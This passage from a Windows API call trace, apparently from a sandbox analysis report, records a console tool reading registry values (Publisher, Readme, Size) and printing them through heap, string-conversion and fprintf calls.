_errno () returned 0xc4bb0 [0147.083] GetFileType (hFile=0x50) returned 0x1 [0147.083] lstrlenW (lpString=" ") returned 4 [0147.084] GetConsoleOutputCP () returned 0x1b5 [0147.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.084] GetConsoleOutputCP () returned 0x1b5 [0147.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.084] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.084] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.084] __iob_func () returned 0x7fefd702a80 [0147.084] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.084] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0147.084] _fileno (_File=0x7fefd702ab0) returned 1 [0147.084] _errno () returned 0xc4bb0 [0147.084] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.084] _errno () returned 0xc4bb0 [0147.084] GetFileType (hFile=0x50) returned 0x1 [0147.084] lstrlenW (lpString="0x1") returned 3 [0147.084] GetConsoleOutputCP () returned 0x1b5 [0147.084] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0147.084] GetConsoleOutputCP () returned 0x1b5 [0147.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0147.085] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0147.085] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.085] __iob_func () returned 0x7fefd702a80 [0147.085] _fileno (_File=0x7fefd702ab0) returned 1 [0147.085] _errno () returned 0xc4bb0 [0147.085] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.085] _errno () returned 0xc4bb0 [0147.085] GetFileType (hFile=0x50) returned 0x1 [0147.085] lstrlenW (lpString="\n") returned 1 [0147.085] GetConsoleOutputCP () returned 0x1b5 [0147.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.085] GetConsoleOutputCP () returned 0x1b5 [0147.085] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.085] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.085] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.085] GetProcessHeap () returned 0x2e0000 [0147.085] GetProcessHeap () returned 0x2e0000 [0147.085] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.085] GetProcessHeap () returned 0x2e0000 [0147.085] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.085] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.086] RegEnumValueW (in: hKey=0x5c, dwIndex=0xc, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Publisher", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.086] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x2e) returned 0x0 [0147.086] GetProcessHeap () returned 0x2e0000 [0147.086] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x30) returned 0x2f7890 [0147.086] GetProcessHeap () returned 0x2e0000 [0147.086] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.086] GetProcessHeap () returned 0x2e0000 [0147.086] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.086] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Publisher", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f7890, pcbData=0x23f670*=0x2e | out: pdwType=0x23f5f0*=0x1, pvData="Microsoft Corporation", pcbData=0x23f670*=0x2c) returned 0x0 [0147.086] __iob_func () returned 0x7fefd702a80 [0147.086] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.086] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.086] _fileno (_File=0x7fefd702ab0) returned 1 [0147.086] _errno () returned 0xc4bb0 [0147.086] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.086] _errno () returned 0xc4bb0 [0147.086] GetFileType (hFile=0x50) returned 0x1 [0147.086] lstrlenW (lpString=" ") returned 4 [0147.086] GetConsoleOutputCP () returned 0x1b5 [0147.086] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.086] GetConsoleOutputCP () returned 0x1b5 [0147.086] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.086] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.086] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.086] lstrlenW (lpString="Publisher") returned 9 [0147.087] __iob_func () returned 0x7fefd702a80 [0147.087] _fileno (_File=0x7fefd702ab0) returned 1 [0147.087] _errno () returned 0xc4bb0 [0147.087] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.087] _errno () returned 0xc4bb0 [0147.087] GetFileType (hFile=0x50) returned 0x1 [0147.087] lstrlenW (lpString="Publisher") returned 9 [0147.087] GetConsoleOutputCP () returned 0x1b5 [0147.087] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.087] GetConsoleOutputCP () returned 0x1b5 [0147.087] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher", lpUsedDefaultChar=0x0) returned 9 [0147.087] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.087] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.087] __iob_func () returned 0x7fefd702a80 [0147.087] _fileno (_File=0x7fefd702ab0) returned 1 [0147.087] _errno () returned 0xc4bb0 [0147.087] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.087] _errno () returned 0xc4bb0 [0147.087] GetFileType (hFile=0x50) returned 0x1 [0147.087] lstrlenW (lpString=" ") returned 4 [0147.087] GetConsoleOutputCP () returned 0x1b5 [0147.087] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.087] GetConsoleOutputCP () returned 0x1b5 [0147.088] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.088] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.088] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.088] __iob_func () returned 0x7fefd702a80 [0147.088] _fileno (_File=0x7fefd702ab0) returned 1 [0147.088] _errno () returned 0xc4bb0 [0147.088] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.088] _errno () returned 0xc4bb0 [0147.088] GetFileType (hFile=0x50) returned 0x1 [0147.088] lstrlenW (lpString="REG_SZ") returned 6 [0147.088] GetConsoleOutputCP () returned 0x1b5 [0147.088] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.088] GetConsoleOutputCP () returned 0x1b5 [0147.088] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.088] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.088] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.088] __iob_func () returned 0x7fefd702a80 [0147.088] _fileno (_File=0x7fefd702ab0) returned 1 [0147.088] _errno () returned 0xc4bb0 [0147.088] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.088] _errno () returned 0xc4bb0 [0147.088] GetFileType (hFile=0x50) returned 0x1 [0147.088] lstrlenW (lpString=" ") returned 4 [0147.089] GetConsoleOutputCP () returned 0x1b5 [0147.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.089] GetConsoleOutputCP () returned 0x1b5 [0147.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.089] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.089] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.089] __iob_func () returned 0x7fefd702a80 [0147.089] _fileno (_File=0x7fefd702ab0) returned 1 [0147.089] _errno () returned 0xc4bb0 [0147.089] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.089] _errno () returned 0xc4bb0 [0147.089] GetFileType (hFile=0x50) returned 0x1 [0147.089] lstrlenW (lpString="Microsoft Corporation") returned 21 [0147.089] GetConsoleOutputCP () returned 0x1b5 [0147.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0147.089] GetConsoleOutputCP () returned 0x1b5 [0147.089] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0147.089] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0147.089] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.090] __iob_func () returned 0x7fefd702a80 [0147.090] _fileno (_File=0x7fefd702ab0) returned 1 [0147.090] _errno () returned 0xc4bb0 [0147.090] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.090] _errno () returned 0xc4bb0 [0147.090] GetFileType (hFile=0x50) returned 0x1 [0147.090] lstrlenW (lpString="\n") returned 1 [0147.090] GetConsoleOutputCP () returned 0x1b5 [0147.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.090] GetConsoleOutputCP () returned 0x1b5 [0147.090] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.090] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.090] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.090] GetProcessHeap () returned 0x2e0000 [0147.090] GetProcessHeap () returned 0x2e0000 [0147.090] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0147.090] GetProcessHeap () returned 0x2e0000 [0147.090] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0147.090] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0147.090] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Readme", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.090] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.090] GetProcessHeap () returned 0x2e0000 [0147.090] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.090] GetProcessHeap () returned 0x2e0000 [0147.091] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.091] GetProcessHeap () returned 0x2e0000 [0147.091] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.091] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Readme", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.091] __iob_func () returned 0x7fefd702a80 [0147.091] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.091] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.091] _fileno (_File=0x7fefd702ab0) returned 1 [0147.091] _errno () returned 0xc4bb0 [0147.091] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.091] _errno () returned 0xc4bb0 [0147.091] GetFileType (hFile=0x50) returned 0x1 [0147.091] lstrlenW (lpString=" ") returned 4 [0147.091] GetConsoleOutputCP () returned 0x1b5 [0147.091] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.091] GetConsoleOutputCP () returned 0x1b5 [0147.091] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.091] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.091] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.091] lstrlenW (lpString="Readme") returned 6 [0147.091] __iob_func () returned 0x7fefd702a80 [0147.091] _fileno (_File=0x7fefd702ab0) returned 1 [0147.091] _errno () returned 0xc4bb0 [0147.091] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.091] _errno () returned 0xc4bb0 [0147.091] GetFileType (hFile=0x50) returned 0x1 [0147.091] lstrlenW (lpString="Readme") returned 6 [0147.092] GetConsoleOutputCP () returned 0x1b5 [0147.092] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.092] GetConsoleOutputCP () returned 0x1b5 [0147.092] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Readme", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Readme", lpUsedDefaultChar=0x0) returned 6 [0147.092] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.092] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.092] __iob_func () returned 0x7fefd702a80 [0147.092] _fileno (_File=0x7fefd702ab0) returned 1 [0147.092] _errno () returned 0xc4bb0 [0147.092] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.092] _errno () returned 0xc4bb0 [0147.092] GetFileType (hFile=0x50) returned 0x1 [0147.092] lstrlenW (lpString=" ") returned 4 [0147.092] GetConsoleOutputCP () returned 0x1b5 [0147.092] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.092] GetConsoleOutputCP () returned 0x1b5 [0147.092] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.092] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.092] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.093] __iob_func () returned 0x7fefd702a80 [0147.093] _fileno (_File=0x7fefd702ab0) returned 1 [0147.093] _errno () returned 0xc4bb0 [0147.093] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.093] _errno () returned 0xc4bb0 [0147.093] GetFileType (hFile=0x50) returned 0x1 [0147.093] lstrlenW (lpString="REG_SZ") returned 6 [0147.093] GetConsoleOutputCP () returned 0x1b5 [0147.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.093] GetConsoleOutputCP () returned 0x1b5 [0147.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.093] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.093] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.093] __iob_func () returned 0x7fefd702a80 [0147.093] _fileno (_File=0x7fefd702ab0) returned 1 [0147.093] _errno () returned 0xc4bb0 [0147.093] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.093] _errno () returned 0xc4bb0 [0147.093] GetFileType (hFile=0x50) returned 0x1 [0147.093] lstrlenW (lpString=" ") returned 4 [0147.093] GetConsoleOutputCP () returned 0x1b5 [0147.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.094] GetConsoleOutputCP () returned 0x1b5 [0147.094] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.094] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.094] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.094] __iob_func () returned 0x7fefd702a80 [0147.094] _fileno (_File=0x7fefd702ab0) returned 1 [0147.094] _errno () returned 0xc4bb0 [0147.094] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.094] _errno () returned 0xc4bb0 [0147.094] GetFileType (hFile=0x50) returned 0x1 [0147.094] lstrlenW (lpString="") returned 0 [0147.094] __iob_func () returned 0x7fefd702a80 [0147.094] _fileno (_File=0x7fefd702ab0) returned 1 [0147.094] _errno () returned 0xc4bb0 [0147.094] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.094] _errno () returned 0xc4bb0 [0147.094] GetFileType (hFile=0x50) returned 0x1 [0147.094] lstrlenW (lpString="\n") returned 1 [0147.094] GetConsoleOutputCP () returned 0x1b5 [0147.094] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.095] GetConsoleOutputCP () returned 0x1b5 [0147.095] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.095] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.095] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.095] GetProcessHeap () returned 0x2e0000 [0147.095] GetProcessHeap () returned 0x2e0000 [0147.095] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.095] GetProcessHeap () returned 0x2e0000 [0147.095] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.095] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.095] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.095] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.095] GetProcessHeap () returned 0x2e0000 [0147.095] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.095] GetProcessHeap () returned 0x2e0000 [0147.095] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.095] GetProcessHeap () returned 0x2e0000 [0147.095] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.095] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.095] __iob_func () returned 0x7fefd702a80 [0147.095] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.095] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.095] _fileno (_File=0x7fefd702ab0) returned 1 [0147.095] _errno () returned 0xc4bb0 [0147.095] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.095] _errno () returned 0xc4bb0 [0147.095] GetFileType (hFile=0x50) returned 0x1 [0147.095] lstrlenW (lpString=" ") returned 4 [0147.096] GetConsoleOutputCP () returned 0x1b5 [0147.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.096] GetConsoleOutputCP () returned 0x1b5 [0147.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.096] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.096] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.096] lstrlenW (lpString="Size") returned 4 [0147.096] __iob_func () returned 0x7fefd702a80 [0147.096] _fileno (_File=0x7fefd702ab0) returned 1 [0147.096] _errno () returned 0xc4bb0 [0147.096] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.096] _errno () returned 0xc4bb0 [0147.096] GetFileType (hFile=0x50) returned 0x1 [0147.096] lstrlenW (lpString="Size") returned 4 [0147.096] GetConsoleOutputCP () returned 0x1b5 [0147.096] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.096] GetConsoleOutputCP () returned 0x1b5 [0147.096] WideCharToMultiByte (in: 